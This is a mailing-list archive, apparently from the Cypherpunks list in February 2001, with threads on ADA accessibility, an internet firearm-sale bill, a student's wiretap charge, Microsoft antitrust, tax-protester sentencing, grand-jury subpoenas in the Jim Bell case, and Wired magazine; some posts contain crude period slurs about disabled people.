Message-ID: <a0501040fb6c3301442dc@[207.111.241.61]>


At 2:08 PM -0500 2/28/01, Adam Shostack wrote:
>So, this web page doesn't work without javascript.  I find that
>somewhat ironic, because you'd think that the ABA would be aware of
>the Americans With Disabilities act, which requires a reasonable
>accomodation; in this case that accomodation would be one less line of
>html (the meta-equiv refresh line)

The ADA does not require writers, whether lawyers or novelists or 
whatever, to write their material in ways that the blind can read, 
that retarded persons can understand, or that the Java-less can 
process.

(Though I admit that many of these rent-seeking vipers would of 
course _like_ the ADA to be extended to cover such things, if only to 
increase the rent they can collect in thousands of lawsuits.)


--Tim May
-- 
Timothy C. May         tcmay at got.net        Corralitos, California
Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns




From honig at sprynet.com  Wed Feb 28 15:16:24 2001
From: honig at sprynet.com (David Honig)
Date: Wed, 28 Feb 2001 15:16:24 -0800
Subject: HR 726: Ban on Internet firearm trading..."obtain, dispose,
   offer to obtain or dispose"
In-Reply-To: <Pine.SOL.4.10.10102281536350.17321-100000@cavern.uark.edu>
References: <NEBBJHBKILFDJEFIABHPGEDBCEAA.aimee.farr@pobox.com>
Message-ID: <3.0.6.32.20010228151624.008bb890@pop.sprynet.com>


At 03:37 PM 2/28/01 -0600, Mac Norton wrote:
>Probably already prohibited, as a practical matter, under one or
>another provision of 18 USC 922.
>MacN

Nope.

The posting of commercial advertisements on the net is currently ok; 
see http://www.turners.com/engage/ads.php for instance.

This is another attempt to make the net lower-status than deadtrees.



>
>On Wed, 28 Feb 2001, Aimee Farr wrote:
>
>> http://thomas.loc.gov
>> 
>> HR 726 [Feb. 26]
>> To ban the use of the Internet to obtain or dispose, or offer to obtain or
>> dispose of, a firearm.
>> Rep. Patsy Mink (D-HI) http://www.house.gov/mink/

.......
Unbeknown to the latter, Marks had already cracked 
General de Gaulle's private cypher in a spare moment 
on the lavatory. 




From marshall at idio.com  Wed Feb 28 15:23:12 2001
From: marshall at idio.com (Marshall Clow)
Date: Wed, 28 Feb 2001 15:23:12 -0800
Subject: Another Wiretap Criminal Exposed
In-Reply-To: <20010228181107.A21080@alcove.wittsend.com>
References: <200102281652.f1SGqXp11718@artifact.psychedelic.net>
 <200102282042.PAA26520@divert.sendon.net>
 <20010228181107.A21080@alcove.wittsend.com>
Message-ID: <p05001900b6c3382682f6@[192.168.16.228]>


At 6:11 PM -0500 2/28/01, Michael H. Warfield wrote:
>On Tue, Feb 27, 2001 at 08:38:50PM +0000, Steve Thompson wrote:
>
>> Quoting Eric Cordian (emc at artifact.psychedelic.net):
> > > http://www.newsday.com/ap/text/national/ap448.htm
>
>> > NAVARRE, Fla. (AP) -- A high school student has been charged with
>> > violating Florida's wiretapping law after tape recording a chemistry class
> > > lecture.
>
> > Is it me, or is there something sadly desperate in the recent actions of
> > various government prosecutors in their efforts to censure anyone remotely
> > weak enough to be safely attacked?
>
>	Uh...  Clue alert!  It was the clueless teacher who brought the
>charges and the prosecutor dropped them stating that the teacher could
>have no expectation of privacy in a classroom of 30 students.  That neither
>sounds like the government nor the prosecutors.  Just one dweeb of an
>inDUHvidual teacher that was a few clues short of a load. 

Actually, the article says:
>But Shelaine Goss, the chemistry teacher, filed a complaint and the
>state filed charges against the teen Feb. 5.

The "state filed charges" sounds like more than just a teacher.
Probably had to get the DA's office involved.
-- 
-- Marshall

Marshall Clow     Idio Software   <mailto:mclow at mailhost2.csusm.edu>

It is by caffeine alone I set my mind in motion.
It is by the beans of Java that thoughts acquire speed,
the hands acquire shaking, the shaking becomes a warning.
It is by caffeine alone I set my mind in motion.




From aleph at alumni.caltech.edu  Wed Feb 28 15:27:32 2001
From: aleph at alumni.caltech.edu (Colin A. Reed)
Date: Wed, 28 Feb 2001 15:27:32 -0800 (PST)
Subject: Microsoft Trial Judge Based His Break-Up "Remedy" On Flawed Theory, Not Facts
In-Reply-To: <20010228174714.B25964@cluebot.com>
Message-ID: <Pine.SOL.3.91.1010228152243.21720C-100000@alumnus>


On Wed, 28 Feb 2001, Declan McCullagh wrote:
> 
> I'll go further. The First Amendment is part of the U.S. Constitution,
> and antitrust law is not.
> 
> When the two are in conflict, the law must give way. :)
> 
Hmm.  This made me think of something blatantly obvious that I had 
overlooked before.  Copyrights are authorized in the main body of the 
Constitution, but the first ammendment clearly overrides that, so all 
laws implementing copyright are just as unconstitutional as laws 
implementing prohibition, and have been for significantly longer.  Beer 
and Bootlegs!




From tcmay at got.net  Wed Feb 28 15:34:59 2001
From: tcmay at got.net (Tim May)
Date: Wed, 28 Feb 2001 15:34:59 -0800
Subject: American Bar Association - 1 click patents
In-Reply-To: <20010228181151.A9881@weathership.homeport.org>
References: <3A9D47E2.F919E8A5@dev.tivoli.com>
  <20010228140810.A7920@weathership.homeport.org>
  <a0501040fb6c3301442dc@[207.111.241.61]>
  <20010228181151.A9881@weathership.homeport.org>
Message-ID: <a05010411b6c338563381@[207.111.241.61]>


At 6:11 PM -0500 2/28/01, Adam Shostack wrote:
>On Wed, Feb 28, 2001 at 02:48:07PM -0800, Tim May wrote:
>|
>| At 2:08 PM -0500 2/28/01, Adam Shostack wrote:
>| >So, this web page doesn't work without javascript.  I find that
>| >somewhat ironic, because you'd think that the ABA would be aware of
>| >the Americans With Disabilities act, which requires a reasonable
>| >accomodation; in this case that accomodation would be one less line of
>| >html (the meta-equiv refresh line)
>|
>| The ADA does not require writers, whether lawyers or novelists or
>| whatever, to write their material in ways that the blind can read,
>| that retarded persons can understand, or that the Java-less can
>| process.
>|
>| (Though I admit that many of these rent-seeking vipers would of
>| course _like_ the ADA to be extended to cover such things, if only to
>| increase the rent they can collect in thousands of lawsuits.)
>
>Actually, if they can do so with reasonable accommodation, I think it
>does.  (Note that its not writers, but publishers, who I think may
>have the "reasonable accommodation" requirement.)

Nope. Some books are published with Braille versions, but the vast 
majority are not. Ditto for large print editions, editions printed 
with letters reversed so that lysdexics can read them, etc. (This 
latter point was a joke...)

There have been some cases where government documents, including 
ballots, were ordered to be in Braille. (It came out during the 
Florida voting news cycle that a case in Florida had resulted in 
"assistance to blind voters" being acceptable over Braille ballots.)

A requirement that a book publisher generate specific forms of a book 
would, of course, be a slam dunk violation of the First.

Note that some blind folks are now complaining that the Web-based 
world is leaving them behind, but they are not going after Web 
publishers to get HTML and graphical uses changed. Rather, they are 
seeking to get gubment to force _employers_  (of them) to hire 
full-time readers for them and other nonsensical, anti-liberty things.

(I hire people to do a job. I don't hire two people, one to help the 
other do the job...not unless they're both willing to do the job for 
a combined salary equal to what the one person would be paid. Less 
some amount for the increased overhead in having two of them in an 
office. I have no problem with some employer choosing to do this, or 
finding some good way to use blind programmers, etc. But having the 
gubment tell an employer whom he must hire and how he must 
accommodate them is, of course, profoundly anti-liberty. The more the 
ADA spreads to encompass such things, the more alternative Net 
solutions will bypass the situation.)

>
>I'm not saying that thats a good thing, but given that the ABA
>is a nest of those rent-seekers, having them on the receiving side
>carries a certain poetry that I'm suprised you don't see.
>

Oh, I see it all right. I just don't _ever_ support bad laws, no 
matter how much the application is "just desserts."

And should this interpretation be applied to the ABA, application to 
everyone else would follow swiftly.


--Tim May
-- 
Timothy C. May         tcmay at got.net        Corralitos, California
Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns




From mnorton at cavern.uark.edu  Wed Feb 28 13:37:05 2001
From: mnorton at cavern.uark.edu (Mac Norton)
Date: Wed, 28 Feb 2001 15:37:05 -0600 (CST)
Subject: HR 726: Ban on Internet firearm trading..."obtain, dispose,
  offer to obtain or dispose"
In-Reply-To: <NEBBJHBKILFDJEFIABHPGEDBCEAA.aimee.farr@pobox.com>
Message-ID: <Pine.SOL.4.10.10102281536350.17321-100000@cavern.uark.edu>


Probably already prohibited, as a practical matter, under one or
another provision of 18 USC 922.
MacN

On Wed, 28 Feb 2001, Aimee Farr wrote:

> http://thomas.loc.gov
> 
> HR 726 [Feb. 26]
> To ban the use of the Internet to obtain or dispose, or offer to obtain or
> dispose of, a firearm.
> Rep. Patsy Mink (D-HI) http://www.house.gov/mink/
> 
> -Aimee




From mmotyka at lsil.com  Wed Feb 28 15:46:14 2001
From: mmotyka at lsil.com (mmotyka at lsil.com)
Date: Wed, 28 Feb 2001 15:46:14 -0800
Subject: American Bar Association - 1 click patents
Message-ID: <3A9D8DC6.AB0FC41F@lsil.com>


>
> At 2:08 PM -0500 2/28/01, Adam Shostack wrote:
> >So, this web page doesn't work without javascript.  I find that
> >somewhat ironic, because you'd think that the ABA would be aware of
> >the Americans With Disabilities act, which requires a reasonable
> >accomodation; in this case that accomodation would be one less line of
> >html (the meta-equiv refresh line)
> 
> The ADA does not require writers, whether lawyers or novelists or 
> whatever, to write their material in ways that the blind can read, 
> that retarded persons can understand, or that the Java-less can 
> process.
> 
> (Though I admit that many of these rent-seeking vipers would of 
> course _like_ the ADA to be extended to cover such things, if only to 
> increase the rent they can collect in thousands of lawsuits.)
> 
> 
> --Tim May
>
Gotta get that animal analogy stuff right. A viper is an honest to
goodness, fend for yourself, not on the dole, tooth and nail predator.
Perfectly respectable by any reasonable standard. The rent-seekers are
more accurately portrayed as something from a list of parasites : louse
tick flea tapeworm roundworm bilharzia mosquito deerfly botfly giardia.
Some of 'em have a pretty ghastly effect on the host - imaging growing
grubs under your skin or having your sphincter muscles eaten away
permanently from the inside. Yuk!

http://www.techlawjournal.com/censor/20000210.htm

While I agree in principle that those with disabilities should be able
to participate in everything that society has to offer it seems
inherently dangerous to have the government mandate how this issue will
be addressed. I don't want to see paved roads into great wilderness
areas and I don't think an old building that doesn't meet modern
accessibility requirements should become a target for multimillion
dollar lawsuits. I don't know how to solve this thing and neither do
those who wrote the ADA.

Mike




From tcmay at got.net  Wed Feb 28 15:52:12 2001
From: tcmay at got.net (Tim May)
Date: Wed, 28 Feb 2001 15:52:12 -0800
Subject: American Bar Association - 1 click patents
In-Reply-To: <a05010411b6c338563381@[207.111.241.61]>
References: <3A9D47E2.F919E8A5@dev.tivoli.com> 
  <20010228140810.A7920@weathership.homeport.org> 
  <a0501040fb6c3301442dc@[207.111.241.61]> 
  <20010228181151.A9881@weathership.homeport.org>
  <a05010411b6c338563381@[207.111.241.61]>
Message-ID: <a05010413b6c33ec5b69d@[207.111.241.61]>


At 3:34 PM -0800 2/28/01, Tim May wrote:
>
>>
>>I'm not saying that thats a good thing, but given that the ABA
>>is a nest of those rent-seekers, having them on the receiving side
>>carries a certain poetry that I'm suprised you don't see.
>>
>
>Oh, I see it all right. I just don't _ever_ support bad laws, no 
>matter how much the application is "just desserts."
>
>And should this interpretation be applied to the ABA, application to 
>everyone else would follow swiftly.

I should've added the obvious, if a bit conspiratorial, point that 
that ABA could conceivably be the ones behind such a lawsuit.

Br'er Rabbit be sayin': "Oh, puh-leese, don't be suin' me over dat ADA shit!"

Anything the American Bar Association loses by being forced to make 
Web materials readable to the blind, the spastic, and the retarded 
would be repaid many times over by increased business to their 
shysters.


(I doubt such a lawsuit is in progress, or could be won. Just a 
talking point, basically.)


--Tim May
-- 
Timothy C. May         tcmay at got.net        Corralitos, California
Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns




From emc at artifact.psychedelic.net  Wed Feb 28 16:42:12 2001
From: emc at artifact.psychedelic.net (Eric Cordian)
Date: Wed, 28 Feb 2001 16:42:12 -0800 (PST)
Subject: Another Wiretap Criminal Exposed
In-Reply-To: <20010228181107.A21080@alcove.wittsend.com> from "Michael H. Warfield" at Feb 28, 2001 06:11:07 PM
Message-ID: <200103010042.f210gCm12331@artifact.psychedelic.net>



> Uh...  Clue alert!  It was the clueless teacher who brought the
> charges and the prosecutor dropped them stating that the teacher could
> have no expectation of privacy in a classroom of 30 students.  That neither
> sounds like the government nor the prosecutors.

In a criminal case, the plaintiff is the state, not the wronged
individual.

It was the state that filed the charges, and it was the state that
dropped them after the adverse publicity started.  Despite this, 
the student has been through a lot, including being charged with a
felony, and having to enter a plea.

-- 
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"




From lvild at usa.net  Wed Feb 28 16:53:47 2001
From: lvild at usa.net (LUIS VILDOSOLA)
Date: 28 Feb 2001 16:53:47 PST
Subject: [RE: ]
Message-ID: <20010301005347.28621.qmail@nwcst313.netaddress.usa.net>


The punishment has been justified but is unjust,
it lacks cognitive coherence.

For all the good deeds taxes are justified to exist,
they are not sustained under close scrutiny;
not the scrutiny under which a court decides over
physical restraint of a "tax evader".

All things being equal, these people are slaves of
a new master, a government with the spirit of a ghost.

"B.Chandler" <b.chandler at gte.net> wrote:
> 
> yes quatloos, injustices occur every day.
> 
> answer this, what class of citizens existed before the 14th amendment?
> was every congressman and every president that served prior to the 14th
> amendment frauds? NO .
> Before the 14th Amendment "citizen of the United States" did NOT exist.
> 
> Again, were every congressman and every president that served prior to the
> 14th
> amendment frauds?
> 
> 
> 
> Quatloos Wrote:
> 
> 
> California Couple Sentenced for Helping Clients Evade Taxes
> 
> February 23, 2001
> 
> By DAVID CAY JOHNSTON
> 
> A California couple who helped their clients evade at least $13.8
> million in federal income taxes were sentenced to long prison terms
> yesterday, sentences the judge extended after they said that the
> tax laws were invalid and did not apply to them.
> 
>  The couple, Dorothy and George Henderson of Roseville, Calif.,
> sold trusts through which, customers were told, they could put
> their money beyond the reach of the Internal Revenue Service. The
> couple kept 5 percent of the deposits.
> 
>  Mrs. Henderson, 56, was sentenced to more than 11 years in prison
> and Mr. Henderson, 59, was sentenced to six and a half years by
> Judge Garland E. Burrell Jr. of United States District Court in
> Sacramento.
> 
>  The Hendersons did not testify at their trials, but at a
> sentencing hearing yesterday they told Judge Burrell that the
> I.R.S. had no authority over them and that they would pursue claims
> against the government.
> 
>  They also said they were exempt from tax under Section 861 of the
> Internal Revenue Code, contending that the statute excludes most
> Americans from income taxes.
> 
>  Donald Dorfman, Mrs. Henderson's lawyer, said that he tried to
> show his client that she had misread the law and that rather than
> exempting anyone from taxes it extended the reach of American tax
> law to income from foreign sources.
> 
>  "She wouldn't listen," Mr. Dorfman said. "She insisted on speaking
> and telling the judge about the 861 position and how as a sovereign
> citizen of California the federal courts had no jurisdiction and
> all sorts of gibberish."
> 
>  Mr. Dorfman said the speech caused the judge to add five months to
> Mrs. Henderson's sentence beyond prosecutors' request.
> 
>  The judge gave Mr. Henderson an extra eight months.
> 
>  The 861
> position is being advocated by a small but growing number of
> business owners and others who, calling themselves the tax honesty
> movement, say that the government operates the I.R.S. illegally.
> These business owners have boasted in ads in USA Today and on the
> Internet that they do not pay taxes and say the I.R.S. has not
> acted against them. They cite that as proof that the tax laws are a
> hoax.
> 
>  The case against the Hendersons began several years ago and grew
> out of another case in which four other Californians, including a
> lawyer, were convicted and are now in prison.


____________________________________________________________________
Get free email and a permanent address at http://www.netaddress.com/?N=1




From info at giganetstore.com  Wed Feb 28 09:07:28 2001
From: info at giganetstore.com (info at giganetstore.com)
Date: Wed, 28 Feb 2001 17:07:28 -0000
Subject: Som!!
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From jya at pipeline.com  Wed Feb 28 14:23:31 2001
From: jya at pipeline.com (John Young)
Date: Wed, 28 Feb 2001 17:23:31 -0500
Subject: Bell and "Journalists"
Message-ID: <200102282234.RAA29510@hall.mail.mindspring.net>


Twice since my grand jury appearance I've been contacted
by persons claiming to be journalists for comment on Jim
Bell's case.

I referred them to Cryptome for the best representation
of my views. Both resisted that, claiming they wanted to hear
from me personally.

What is striking is the similarity of their questions to those asked
during the grand jury appearance by Robb London and by
jury members, in particular my view of "anti-government activity,"
stalking of federal officials, and Assassination Politics, as well
as why AP was on Cryptome.

I explained to both callers that due to the possibility my grand
jury testimony may be used against me it was prudent for me to
refer them to files on Cryptome, and when it became available, the
testimony transcript. That I did not want to go beyond what 
was already publicly available.

Neither caller was satisfied with that, and persisted in asking
leading questions about AP and anti-government activities.
They also asked who else could they talk to about these
topics.

I said there was nobody I could suggest to talk to; that AP was 
a provocative exploration of digital technologies but not at all
lethal; and that I was not anti-government but opposed to 
government abuse of power and its excessive secrecy. 
That I did not advocate violence against public officials, 
though insults, ridicule, disrespect for their career ambitions 
were duties of the conscientious citizen.

Now that the feds have subpoenaed me for the trial and have 
refused to provide a transcript of my grand jury testimony, it 
seems to me that the feds are behaving characteristically
treacherously (as others have warned), and are likely to 
have used "journalists" to get me to incriminate myself 
and/or to name other targets for investigation or subpoenas.

So in case others are being queried for stories here are 
the names and affiliations of the "journalists" who called and 
would not take my referral to Cryptome for an answer.

Adam Ciralsky
60 Minutes
CBS News, Washington, DC
202-973-0777

Scott Canon
Kansas City Star
Kansas City, MO
816-234-4754






From stevmoore at earthlink.net  Wed Feb 28 14:36:14 2001
From: stevmoore at earthlink.net (steven moore)
Date: Wed, 28 Feb 2001 17:36:14 -0500
Subject: disconnect
Message-ID: <001501c0a1d6$dd3b53e0$85d279a5@computer>

somehow my e-mail address got linked to yours and I'm receiving dozens of (unwanted) messages daily addressed to your e-mail. Any idea how I can get disconnected from your address? (I'm a computer novice.)
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From declan at well.com  Wed Feb 28 14:47:14 2001
From: declan at well.com (Declan McCullagh)
Date: Wed, 28 Feb 2001 17:47:14 -0500
Subject: Microsoft Trial Judge Based His Break-Up "Remedy" On Flawed Theory, Not Facts
In-Reply-To: <3A9C0432.B5BF7E05@mrlizard.com>; from lizard@mrlizard.com on Tue, Feb 27, 2001 at 11:46:58AM -0800
References: <Pine.SOL.3.91.1010227110823.22992A-100000@alumnus> <3A9C0432.B5BF7E05@mrlizard.com>
Message-ID: <20010228174714.B25964@cluebot.com>


On Tue, Feb 27, 2001 at 11:46:58AM -0800, lizard wrote:
> "Colin A. Reed" wrote:
> > 
> 
> > I'll admit that the trial was fucked up from the start by the decision to
> > center it around netscape rather than something more blatant like stac.
> > Anyways, this has nothing to do with FC, unless you think that enterprise
> > is fundamentally expressive and Microsoft's vicious suppression of
> > competition has limited the ability of others to be heard.
> > 
> But if source code is free speech, isn't a judge ordering some code be
> removed/edited/changed an intrustion on free speech? Isn't saying
> "Remove Explorer from the core install!" the same as saying "Remove this
> chapter from this book!"
> 
> Sure, the chapter can then be republished separately, but who is the
> judge to decide what elements of a work of speech belong together? 
> 
> Code IS speech. And this has implications beyond DECSS and PGP.

I'll go further. The First Amendment is part of the U.S. Constitution,
and antitrust law is not.

When the two are in conflict, the law must give way. :)

(This is pretty much in jest, you antitrust scholars note. Yes, I have
read media antitrust cases, etc.)

-Declan




From mhw at wittsend.com  Wed Feb 28 15:11:07 2001
From: mhw at wittsend.com (Michael H. Warfield)
Date: Wed, 28 Feb 2001 18:11:07 -0500
Subject: Another Wiretap Criminal Exposed
In-Reply-To: <200102282042.PAA26520@divert.sendon.net>; from stevet@sendon.net on Tue, Feb 27, 2001 at 08:38:50PM +0000
References: <200102281652.f1SGqXp11718@artifact.psychedelic.net> <200102282042.PAA26520@divert.sendon.net>
Message-ID: <20010228181107.A21080@alcove.wittsend.com>


On Tue, Feb 27, 2001 at 08:38:50PM +0000, Steve Thompson wrote:

> Quoting Eric Cordian (emc at artifact.psychedelic.net):
> > http://www.newsday.com/ap/text/national/ap448.htm

> > NAVARRE, Fla. (AP) -- A high school student has been charged with
> > violating Florida's wiretapping law after tape recording a chemistry class
> > lecture.

> Is it me, or is there something sadly desperate in the recent actions of
> various government prosecutors in their efforts to censure anyone remotely
> weak enough to be safely attacked?

	Uh...  Clue alert!  It was the clueless teacher who brought the
charges and the prosecutor dropped them stating that the teacher could
have no expectation of privacy in a classroom of 30 students.  That neither
sounds like the government nor the prosecutors.  Just one dweeb of an
inDUHvidual teacher that was a few clues short of a load.  And a science
teacher, as that...  Shesh...  No, strike that...  I met my kid's physics
teacher.  Another fine example of those that can, do, and those that can't,
teach.  Took everything I could to restrain myself from embarassing the
hell out of her during a parent / student swap day.

> I suppose that students in Florida must now go before a Judge and obtain a
> warrant if they wish to tape their classes.

	Me thinks you need to do a little more research before loading
and firing that keyboard.  Let me see that learners permit.

> If that succeeds, the next kid may get charged with loitering.


> Regards,

> Steve

> -- 
> Excerpt from:	Subject: ABOI: Chomsky: The Motion Picture
> 		Date: 10 Oct 1997 05:19:52 GMT
> 		Message-ID: <61kdto$7p9$6 at leopard.it.wsu.edu>
> 
> [cut to bunker]
> Dr. Loglan: The battle is turning against us.
> Whorf: What if there is a panic?
> Dr. Loglan: My super-logical soldiers will never panic!
> 
> [cut to street.  A truck with large speakers cruises up and down]
> Truck: THERE IS NO NEED TO PANIC!  A IS A!  RETURN TO YOUR HOMES!
>  EXISTENCE EXISTS!  THE DAM HAS NOT BROKEN!

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw at WittsEnd.com
  (The Mad Wizard)      |  (678) 463-0932   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!




From adam at homeport.org  Wed Feb 28 15:11:51 2001
From: adam at homeport.org (Adam Shostack)
Date: Wed, 28 Feb 2001 18:11:51 -0500
Subject: American Bar Association - 1 click patents
In-Reply-To: <a0501040fb6c3301442dc@[207.111.241.61]>
References: <3A9D47E2.F919E8A5@dev.tivoli.com> <20010228140810.A7920@weathership.homeport.org> <a0501040fb6c3301442dc@[207.111.241.61]>
Message-ID: <20010228181151.A9881@weathership.homeport.org>


On Wed, Feb 28, 2001 at 02:48:07PM -0800, Tim May wrote:
| 
| At 2:08 PM -0500 2/28/01, Adam Shostack wrote:
| >So, this web page doesn't work without javascript.  I find that
| >somewhat ironic, because you'd think that the ABA would be aware of
| >the Americans With Disabilities act, which requires a reasonable
| >accomodation; in this case that accomodation would be one less line of
| >html (the meta-equiv refresh line)
| 
| The ADA does not require writers, whether lawyers or novelists or 
| whatever, to write their material in ways that the blind can read, 
| that retarded persons can understand, or that the Java-less can 
| process.
|
| (Though I admit that many of these rent-seeking vipers would of 
| course _like_ the ADA to be extended to cover such things, if only to 
| increase the rent they can collect in thousands of lawsuits.)

Actually, if they can do so with reasonable accommodation, I think it
does.  (Note that its not writers, but publishers, who I think may
have the "reasonable accommodation" requirement.)  Of course, the ADA
http://caselaw.lp.findlaw.com/casecode/uscodes/42/chapters/126/toc.html
is not clear about this--it clearly covers transportation, hotels, and
the like, and services operated by private entities is not at all
clearly defined.

I'm not saying that thats a good thing, but given that the ABA
is a nest of those rent-seekers, having them on the receiving side
carries a certain poetry that I'm suprised you don't see.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume





From atek3 at gmx.net  Wed Feb 28 18:13:42 2001
From: atek3 at gmx.net (atek3)
Date: Wed, 28 Feb 2001 18:13:42 -0800
Subject: Do your part to support asset forfiture!
Message-ID: <01a501c0a1f5$473fd900$6975e5a9@Reshall.berkeley.edu>

I thought that would get your attention :)
http://www.stealitback.com/
The police's page to auction off stolen goods.  Some stolen from people by criminals, some stolen by the government from its citizens.  
god i hate forfiture, goto http://www.fear.org and learn more about this disgrace to the bill of rights.

brent

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From k.brown at ccs.bbk.ac.uk  Wed Feb 28 10:14:14 2001
From: k.brown at ccs.bbk.ac.uk (Ken Brown)
Date: Wed, 28 Feb 2001 18:14:14 +0000
Subject: Animal Passports
References: <000001c0a1ab$bd46fec0$db5f2a18@nmkt1.on.wave.home.com>
Message-ID: <3A9D3FF6.381CE2F7@ccs.bbk.ac.uk>


I don't know why you asked this question on a mailing list about the
politics and social impact of networking technologies.

If it is a genuine question then
http://www.maff.gov.uk/animalh/quarantine/ might be a place to start.

Ken Brown

Amanda Ramm wrote:
> 
> Can you please advise on the following:
> 
> We are considering moving back to England from Canada and have the following
> pets:
> 
> 2 cats approx 8 yrs old where their vacc are up to date
> 
> 1 cat approx 4 yrs old who as above is up to date with vacc
> 
> Also 1 puppy who is now only 10 wks and doesn't have his rabies vac for a
> few more weeks yet
> 
> Can you please advise what the procedure would be and if they would have to
> be quarantined or not
> 
> Thanks for your help




From declan at well.com  Wed Feb 28 15:27:23 2001
From: declan at well.com (Declan McCullagh)
Date: Wed, 28 Feb 2001 18:27:23 -0500
Subject: Why Wired is tired
In-Reply-To: <3A96D907.57035CCC@dev.tivoli.com>; from jchoate@dev.tivoli.com on Fri, Feb 23, 2001 at 03:41:27PM -0600
References: <3A96D907.57035CCC@dev.tivoli.com>
Message-ID: <20010228182723.D25964@cluebot.com>


He's wrong; you're (not surprisingly) wrong.

Wired, the magazine, is no longer what it once was.

-Declan


On Fri, Feb 23, 2001 at 03:41:27PM -0600, Jim Choate wrote:
> http://www.sunworld.com/unixinsideronline/swol-02-2001/swol-0202-bookshelf.html
> -- 
>    The Laws of Serendipity:
> 
>    1. In order to discover anything, you must be looking
>       for something.
> 
>    2. If you wish to make an improved product, you must
>       first be engaged in making an inferior one.  
> 
>    Tivoli Certification Group, OSCT
>    James Choate                           jchoate at tivoli.com
>    Senior Engineer                        512-436-1062
> 




From declan at well.com  Wed Feb 28 15:31:34 2001
From: declan at well.com (Declan McCullagh)
Date: Wed, 28 Feb 2001 18:31:34 -0500
Subject: Micropayments: Effective Replacement For Ads?
In-Reply-To: <a05010402b6c0f74b507c@[207.111.241.106]>; from
  tcmay@got.net on Mon, Feb 26, 2001 at 10:32:05PM -0800
References: <Pine.LNX.4.21.0102261430470.21111-100000@bolt.sonic.net>
  <a05010402b6c0f74b507c@[207.111.241.106]>
Message-ID: <20010228183134.F25964@cluebot.com>


On Mon, Feb 26, 2001 at 10:32:05PM -0800, Tim May wrote:
> 
> One obvious solution: certificates. Google and Alta Vista get "free 
> passes." Nothing new in this. Like reporters being comped to a 
> conference.

Right, or similar solutions based on originating domain name or IP
address, with appropriate verification.

I have never paid for a conference that I have covered.  (Well, once I
paid $20 or so to Defcon, but that was for a good cause.

See y'all at CFP -- though journalists do not get free meals, alas.

-Declan




From declan at well.com  Wed Feb 28 15:33:01 2001
From: declan at well.com (Declan McCullagh)
Date: Wed, 28 Feb 2001 18:33:01 -0500
Subject: "Information wants to be free"
In-Reply-To: <Pine.LNX.4.10.10102272035010.25976-100000@clueserver.org>;
  from alan@clueserver.org on Tue, Feb 27, 2001 at 08:36:44PM -0800
References: <a05010401b6c1d98475cb@[207.111.241.224]>
  <Pine.LNX.4.10.10102272035010.25976-100000@clueserver.org>
Message-ID: <20010228183300.G25964@cluebot.com>


On Tue, Feb 27, 2001 at 08:36:44PM -0800, Alan Olsen wrote:
> "Information *actually* wants to be tied up and spanked."

That's the best line so far...

-Declan




From declan at well.com  Wed Feb 28 15:36:44 2001
From: declan at well.com (Declan McCullagh)
Date: Wed, 28 Feb 2001 18:36:44 -0500
Subject: Bell Subpoena 2
In-Reply-To: <200102262308.SAA26143@hall.mail.mindspring.net>; from jya@pipeline.com on Mon, Feb 26, 2001 at 05:57:43PM -0500
References: <200102262308.SAA26143@hall.mail.mindspring.net>
Message-ID: <20010228183644.I25964@cluebot.com>


If anyone else has received communication of any sort from law
enforcement regarding this case -- including a subpoena -- I
would be interested in hearing about it.

I'm at 202 986 3455 (collect is fine) or declan at well.com.

-Declan


On Mon, Feb 26, 2001 at 05:57:43PM -0500, John Young wrote:
> Another subpoena was served on me today by Treasury 
> Agent Tom Jack to appear at Jim Bell's trial on April 2, 2001
> 9:00 AM, in Tacoma, WA.
> 
> I have tried three times to get a transcript of my grand jury 
> testimony: faxed letter to the Grand Jury Foreman and AUSA
> Robb London January 27; a phone message left for Robb 
> on February 12, and another faxed letter to Robb and the 
> Foreman on February 20 with copy to Judge Tanner, 
> presiding in Jim's case. No answer to any of the 3 requests
> -- except today's subpoena dated February 21.
> 
> 
> 
> 
> 




From gbnewby at ils.unc.edu  Wed Feb 28 16:06:59 2001
From: gbnewby at ils.unc.edu (Greg Newby)
Date: Wed, 28 Feb 2001 19:06:59 -0500
Subject: Why Wired is tired
In-Reply-To: <20010228182723.D25964@cluebot.com>; from declan@well.com on Wed, Feb 28, 2001 at 06:27:23PM -0500
References: <3A96D907.57035CCC@dev.tivoli.com> <20010228182723.D25964@cluebot.com>
Message-ID: <20010228190658.A7862@ils.unc.edu>


>From the Sunworld article:

"When he was a fledgling cyberjournalist, Quittner wrote a puff piece
in Wired about the principal members of the EFF that equated them with
Ken Kesey's Merry Pranksters of the '60s (in fact, Stewart Brand was a
Merry Prankster)."

Funny, Brand doesn't mention that in his resume
(via http://www.well.com/user/sbb/).

Maybe he was wrong, too...  (or maybe I'm wrong ;-)


I sent feedback to Wired online recently mentioning my plans to not
renew my Wired print subscription (after subscribing since Vol 1 #2)
[yes, I know online & print are not the same...it was just a footnote
to feedback about an online article].  

The incredible number of ads are bad enough; my main complaint is
there's just never much content, other than some (generally
out-of-date) technofetish and pseudo-celebrity interviews.  Plenty of
ads, though.  Did I mention the ads?
  -- Greg

On Wed, Feb 28, 2001 at 06:27:23PM -0500, Declan McCullagh wrote:
> 
> He's wrong; you're (not surprisingly) wrong.
> 
> Wired, the magazine, is no longer what it once was.
> 
> -Declan
> 
> 
> On Fri, Feb 23, 2001 at 03:41:27PM -0600, Jim Choate wrote:
> > http://www.sunworld.com/unixinsideronline/swol-02-2001/swol-0202-bookshelf.html




From ravage at einstein.ssz.com  Wed Feb 28 17:20:13 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Wed, 28 Feb 2001 19:20:13 -0600 (CST)
Subject: disconnect (fwd)
Message-ID: <Pine.LNX.3.96.1010228191958.5925N-200000@einstein.ssz.com>


http://einstein.ssz.com/cdr

